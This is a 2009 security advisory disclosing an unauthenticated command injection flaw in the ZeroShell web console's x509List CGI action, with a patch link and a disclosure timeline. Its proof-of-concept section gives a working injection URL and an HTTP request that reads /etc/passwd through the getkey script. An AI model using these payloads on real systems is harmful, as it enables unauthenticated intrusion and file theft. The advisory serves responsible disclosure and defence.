========================================================================
 ZeroShell <= 1.0beta11 Remote Code Execution
 ========================================================================

 Affected Software: ZeroShell <= 1.0beta11
 Severity: High
 Local/Remote: Remote
 Author: Luca Carettoni - luca.carettoni[at]ikkisoft[dot]com
 Advisory URL: http://www.ikkisoft.com/stuff/LC-2009-01.txt

 [Summary]

 ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution
 for servers and embedded devices. This Linux distro can be configured
 and managed with an easy to use web console.

 ZeroShell is prone to an arbitrary code execution vulnerability due to
 an improper input validation mechanism. An aggressor may abuse this
 weakness in order to compromise the entire system.
 Authentication is not required in order to exploit this flaw.

 [Vulnerability Details]

 The ZeroShell web console uses a CGI program and several bash scripts
 to provide all administrative functions. An improper input validation
 mechanism permits the injection of arbitrary system commands.
 An unauthenticated user may invoke a function to retrieve all x509
 certificates present in the repository, using the following GET request:
 https://<IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=user

 The parameter "type" is used to distinguish between users, CA and host
 certificates. Unfortunately, this parameter is passed to the following
 code without input validation at all:

 <-- cut here -->
 TYPE="$1"
 cd "$SSLDIR/certs" || exit 1
 ls *_${TYPE}.pem |awk -F"_$TYPE.pem" -v"TYPE=$TYPE" '{
 <-- cut here -->

 An aggressor may easily escape the hardcoded commands, adding arbitrary
 system commands. According to the default system configuration, these
 commands are executed as "apache" (low privileges user).

 [Proof of Concept Exploit]

 /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22

 In addition to the Unix commands, it is possible to abuse the
 ZeroShell scripts themself. For instance it is likely to use the
 "getkey" script in order to retrieve remote files, including the content
 in the html page.

 {HTTP REQUEST}
 GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;
 /root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1
 Host: <IP>

 [Fix Information]

 The vendor has published a patch for the release 1.0beta11 only.
 http://www.zeroshell.net/eng/patch-details/#C100

 The new release (1.0beta12) will be available soon.

 [Time Table]

 08/01/2009 - Vendor notified.
 08/01/2009 - Vendor response.
 11/01/2009 - Vendor patch release.
 09/02/2009 - Public disclosure.

 [Legal Notices]

 The information in the advisory is believed to be accurate at the
 time of publishing based on currently available information.
 This information is provided as-is, as a free service to the community.
 There are no warranties with regard to this information.
 The author does not accept any liability for any direct,
 indirect, or consequential loss or damage arising from use of,
 or reliance on, this information.
 Permission is hereby granted for the redistribution of this alert,
 provided that the content is not altered in any way, except
 reformatting, and that due credit is given.

 This vulnerability has been disclosed in accordance with the RFP
 Full-Disclosure Policy v2.0, available at:
 http://www.wiretrip.net/rfp/policy.html